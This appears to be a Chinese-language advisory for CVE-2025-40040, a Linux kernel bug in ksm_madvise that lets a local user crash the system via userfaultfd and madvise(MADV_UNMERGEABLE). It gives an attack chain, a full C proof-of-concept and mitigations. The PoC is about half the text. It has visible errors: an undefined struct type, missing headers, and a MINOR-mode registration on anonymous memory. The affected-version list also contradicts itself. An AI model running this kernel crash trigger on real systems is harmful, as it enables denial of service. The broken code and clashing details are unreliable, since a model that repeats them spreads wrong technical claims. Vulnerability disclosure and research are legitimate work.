CVE-2025-40040 Linux内核ksm_madvise标志位清除漏洞

漏洞信息

漏洞编号

CVE-2025-40040

漏洞类型

内核bug/标志位处理错误

CVSS评分

5.5 中危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux Kernel

漏洞概述

CVE-2025-40040是Linux内核中的一个中等严重性安全漏洞，位于mm/ksm.c文件中的ksm_madvise函数。该漏洞由于在处理MADV_UNMERGEABLE时意外清除vm_flags结构体的高32位标志位而导致。漏洞的根本原因在于VM_MERGEABLE常量被定义为32位无符号整数(0x80000000)，当对其进行按位取反操作(~VM_MERGEABLE)时，由于类型提升规则，表达式被提升为unsigned long后，高32位被填充为0而非预期的全1。这导致在执行&=操作时，vm_flags的高32位被意外清除，使得注册了userfaultfd的VMA(虚拟内存区域)的UFFD标志被移除，造成内核检测到VMA状态不一致并触发kernel BUG或WARNING。攻击者可通过本地低权限进程调用madvise(MADV_UNMERGEABLE)触发此漏洞，可能导致系统崩溃(拒绝服务)。该漏洞由syzkaller模糊测试发现，影响运行6.16.0-rc6及之前版本内核的系统。

技术细节

漏洞位于Linux内核的ksm_madvise函数中，当用户空间程序对一个已注册userfaultfd(UFFD)的VMA调用madvise(MADV_UNMERGEABLE)时触发。问题的核心是C语言类型提升规则导致位运算错误：VM_MERGEABLE定义为32位常量(unsigned int)值0x80000000，当执行~VM_MERGEABLE时，结果为0x7fffffff(unsigned int)。在后续的&=操作中，0x7fffffff被提升为unsigned long时，高32位填充为0(因为unsigned转换)，最终表达式变为vm_flags & 0x000000007fffffff，而非预期的0xffffffff7fffffff。这导致vma->vm_flags的高32位被意外清零，包括存储在其中的userfaultfd上下文指针。内核在userfaultfd_release_all中检测到VMA有有效的vma->vm_userfaultfd_ctx但缺少UFFD标志，触发kernel BUG(早期版本)或WARNING(commit 31defc3b01d9之后)。攻击者需要本地低权限访问即可触发，成功利用可导致系统内核崩溃。

攻击链分析

STEP 1

步骤1

攻击者创建一个匿名内存映射(VMA)，作为触发漏洞的目标区域

STEP 2

步骤2

攻击者使用userfaultfd系统调用并以MINOR模式注册该VMA，建立userfaultfd上下文

STEP 3

步骤3

攻击者对已注册的VMA调用madvise(MADV_UNMERGEABLE)，触发ksm_madvise函数中的漏洞代码

STEP 4

步骤4

ksm_madvise中的位运算错误导致vm_flags高32位被清除，破坏VMA与userfaultfd的关联一致性

STEP 5

步骤5

当userfaultfd释放时，内核检测到VMA状态不一致(vma->vm_userfaultfd_ctx有效但无UFFD标志)，触发kernel BUG或WARNING

STEP 6

步骤6

内核崩溃(Panic)或输出WARNING信息，导致系统拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>

#define PAGE_SIZE 4096

static void *uffd_poll_thread(void *arg) {
    int uffd = *(int *)arg;
    struct uffd_msg msg;
    
    // Poll for events (will block)
    if (read(uffd, &msg, sizeof(msg)) == -1) {
        perror("read uffd");
        return NULL;
    }
    return NULL;
}

int main() {
    long pagesize = sysconf(_SC_PAGESIZE);
    void *addr;
    int uffd;
    struct uffd_ctx ctx = {0};
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    pthread_t poll_thread;

    printf("CVE-2025-40040 PoC - KSM flag-dropping in ksm_madvise\n");
    printf("Target: Linux kernel with UFFD_MINOR mode support\n\n");

    // Create anonymous mapping
    addr = mmap(NULL, pagesize, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED) {
        perror("mmap");
        return 1;
    }
    printf("[+] Created anonymous mapping at %p\n", addr);

    // Initialize memory to ensure page is faulted in
    *(int *)addr = 42;

    // Create userfaultfd
    uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        perror("userfaultfd syscall");
        return 1;
    }
    printf("[+] Created userfaultfd: %d\n", uffd);

    // Configure UFFD API
    uffdio_api.api = UFFD_API;
    uffdio_api.features = UFFD_FEATURE_MINOR_HUGETLBFS;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
        perror("ioctl UFFDIO_API");
        return 1;
    }
    printf("[+] UFFD API initialized\n");

    // Register VMA with userfaultfd in MINOR mode
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = pagesize;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MINOR;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        perror("ioctl UFFDIO_REGISTER");
        return 1;
    }
    printf("[+] Registered VMA with UFFD in MINOR mode\n");

    // Start polling thread
    if (pthread_create(&poll_thread, NULL, uffd_poll_thread, &uffd) != 0) {
        perror("pthread_create");
        return 1;
    }

    printf("[+] Triggering madvise(MADV_UNMERGEABLE)...\n");
    printf("    This will clear VM_MERGEABLE and corrupt UFFD flags\n");

    // Trigger the vulnerability
    if (madvise(addr, pagesize, MADV_UNMERGEABLE) == -1) {
        perror("madvise MADV_UNMERGEABLE");
        return 1;
    }

    printf("[!] madvise completed - kernel should trigger BUG/WARNING\n");
    printf("    Check dmesg for: 'kernel BUG at mm/userfaultfd.c' or 'WARNING at mm/userfaultfd.c'\n");

    sleep(2);
    printf("[+] PoC execution completed\n");

    return 0;
}

影响范围

Linux Kernel < 6.12-rc1 (affected by type promotion bug in ksm_madvise)

Linux Kernel 6.16.0-rc6 (confirmed affected, where syzkaller discovered the bug)

Linux Kernel stable 6.6.x < 6.6.54

Linux Kernel stable 6.10.x < 6.10.13

Linux Kernel stable 6.11.x < 6.11.2

防御指南

临时缓解措施

在无法立即升级内核的情况下，可通过以下措施缓解风险：1) 监控并限制非特权用户调用userfaultfd系统调用；2) 禁用KSM(Kernel Samepage Merging)功能以降低攻击面；3) 使用seccomp或LSM策略限制madvise系统调用的参数；4) 考虑使用grsecurity/PaX等内核加固补丁。但这些措施可能影响系统功能和性能，最根本的解决方案仍是应用官方安全补丁升级内核。